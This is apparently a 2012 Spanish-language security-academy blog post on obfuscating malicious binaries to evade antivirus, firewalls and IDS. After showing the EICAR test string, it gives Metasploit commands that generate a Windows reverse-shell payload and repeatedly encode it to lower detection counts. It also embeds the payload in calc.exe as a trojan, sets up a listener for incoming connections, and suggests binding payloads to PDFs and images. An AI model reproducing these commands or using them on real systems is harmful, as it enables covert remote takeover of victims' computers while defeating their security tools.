(re)Ofuscación de Código Binario malicioso para evadir AVS/FWS/IDS/IPS
Publicado por Pedro C. el 14-08-2012
Para el patrón empleado en las pruebas, vamos a hacer uso del archiconocido "eicar standard anti-virus test file". Se trata de una prueba de concepto, ***NO ES UN VIRUS*** y no incluye ningún tipo de código viral. Es un patrón conocido (o debería de ser conocido por todos los antivirus) para probar la eficacia que tienen detectándolo. Y usaremos éste, ya que es uno de los más viejos que existen (algunos que hoy leerán ésto recordarán las prácticas de clase que hacíamos antes del año 2000...), etc. El programa es completamente funcional y lo único que muestra es el mensaje "EICAR-STANDARD-ANTIVIRUS-TEST-FILE" sin ningún otro peligro escondido.
Podeis encontrarlo en su página oficial de http://eicar.org/86-0-Intended-use.html y además, en la página http://www.aleph-tec.com/eicar/index.php podeis recibirlo por email en varios formatos para ver si vuestro antivirus lo detecta.
Se trata simplemente la secuencia de 68 bytes:
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
Si lo copiamos y pegamos en cualquier documento, a la hora de guardarlo, el antivirus empleado debería de indicar que se trata del patrón EICAR. De hecho, vamos a copiarlo y pegarlo y guardarlo como "pocav1.com" ¿Saltó vuestro antivirus? ¿Pendiente de los datos que hay en memoria?
Abrimos un shell, comprobamos su tamaño y lo ejecutamos:
J:\madesyp\pocs>dir pocav01.com El volumen de la unidad J es MADESYP El número de serie del volumen es: 12AB-1408 Directorio de J:\madesyp\pocs 14/08/2012 12:00 68 pocav01.com 1 Archivos 68 bytes 0 dirs 20.120.801 bytes libres J:\madesyp\pocs>pocav01.com
Algo raro habeis notado???? Jejeje... Win7, Win8 RTM o XP? 32 ó 64 bits? Quien primero nos reporte en ex-alumnos@madesyp.com (sólo ex-alumnos) ó en pedroc@madesyp.com (resto de listas) una solución para ejecutarlo, ***TENDRA UNA PLAZA GRATUITA EN EL SIGUIENTE CURSO DE AUDITORIA DE APLICACIONES WEB CON METODOLOGIA OWASP 3.0***. Se tendrá en cuenta la calidad de la respuesta y si es posible, que se pueda ejecutar en el mayor número de Sistemas Operativos posibles (Microsoft© Windows, GNU/Linux, BSD, MacOS...)
Ahora, instalaremos 5, 19, 27 ó 34 antivirus en nuestro equipo, aaaargh!!! Esto... probaremos a subirlo a http://www.virustotal.com para ver cuántos antivirus detectan su firma. Si no quereis hacerlo, podeis buscarlo por su nombre "pocav1.com" o por su hash SHA256 "275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f". Lamentablemente todavía hay *UNO* que no lo detecta... no diremos el nombre para no hacer mala publicidad.
Para evitar los obsoletos .com, vamos a crear un payload que nos permitirá tomar el control de una máquina Windows sin que sea detectado por muy pocos o ningún antivirus. Haremos uso de metaesploit y de dos herramientas básicas que incluye: msfpayload y msfencode
Con la primera, vamos a crear el payload que permite "esperar" a ser conectado por el "infectado" y que descargará el resto del payload al contrario que otros métodos más tradicionales que incorporan todos los comandos del meterpreter:
#msfpayload windows/shell/reverse_tcp LHOST=192.168.34.120 LPORT=53 X > payload1.exe
Lo subiremos a virustotal y vemos que lo detectan "casi" todos (33 de 42)!!! Claro, es un patrón "fijo" y sobradamente conocido como el de EICAR, por lo que tendremos que "currar" un poco más para poder evadir los sistemas de seguridad implantados.
A partir de aquí, intentaremos que sea "menos reconocido" mediante varias técnicas que permitirán "eludir la seguridad de nuestro antivirus, cortafuegos, IDS, IPS, etc..." y darlo como "bueno" en el sistema.
Para ello, haremos uso de la olvidada y maravillosa herramienta de metaesploit denominada msfencode. Probar con la opción -l para ver las posibilidades que nos ofrece para "recodificar" los ejecutables.
#msfpayload windows/shell/reverse_tcp LHOST=192.168.34.120 LPORT=53 R | msfencode -e x86/shikata_ga_nai -t exe -o payload2.exe
No va mal la cosa, hemos conseguido "bajar" las detecciones a sólo 30 prácticamente sin realizar ninguna iteración con el encoder shikata_ga_nai.
Ahora, como los cocineros, -a iguales ingredientes-, diferentes sabores y texturas, probemos codificando y recodificando lo codificado una y otra vez para ver si no lo detectan y lo tenemos preparado para continuar...
#msfpayload windows/shell/reverse_tcp LHOST=192.168.34.120 LPORT=53 R | msfencode -e x86/shikata_ga_nai -c 10 -t raw | msfencode -e x86/alpha_upper -c 5 -t raw | msfencode -e x86/shikata_ga_nai -c 12 -t raw | msfencode -e x86/countdown -c 15 -t exe -o payload3.exe
Conseguimos bajar a 29 antivirus! Con un poco de imaginacion y mala leche, conseguiremos evadir casi todo... y como prueba de concepto, en el siguiente comando, añadiremos el payload a la calculadora de windows...
#msfpayload windows/shell/reverse_tcp LHOST=127.0.0.1 LPORT=53 R | msfencode -t exe -x /root/calc.exe -e x86/shikata_ga_nai -c 10 -o calculator.exe
Con sólo 10 iteraciones, se nos queda en 20 detecciones!!! Y el osito, el sinmanteca, el trendrojo, el karpery y muchos otros no lo detectan... ;-D
Ahora, será cuestión de emplear otras técnicas para conseguir "colar" el binario en donde corresponda. Prepararemos nuestra máquina para esperar al "tiburón"...
c:\metaesploit>dev_msfconsole
Y desde la consola de metaesploit, preparar nuestra máquina a la espera de la conexión inversa del infectado...
msf > use exploit/multi/handler msf exploit(handler) > set PAYLOAD windows/shell/reverse_tcp PAYLOAD => windows/shell/reverse_tcp msf exploit(handler) > set LHOST 127.0.0.1 LHOST => 127.0.0.1 msf exploit(handler) > set LPORT 53 LPORT => 53 msf exploit(handler) > exploit [*] Started reverse handler on 127.0.0.1:53 [*] Started the payload handler...
El resto cuando alquien conecte, es cosa vuestra!!! ;-D
La misma técnica, podremos emplearla para vincular payloads a pdf's, imágenes, videos, etc...
¿Analizamos nuestros ficheros en búsqueda de código malicioso? ¿Realmente lo que dice tener un fichero es lo que lleva?
Recuerda que en Academia MADESYP nos encontramos impartiendo Cursos especializados en Seguridad Informática donde realizamos y establecemos las contramedidas para las pruebas de concepto con todo ésto y mucho más...
Ser buenos y no hagais maldades!!!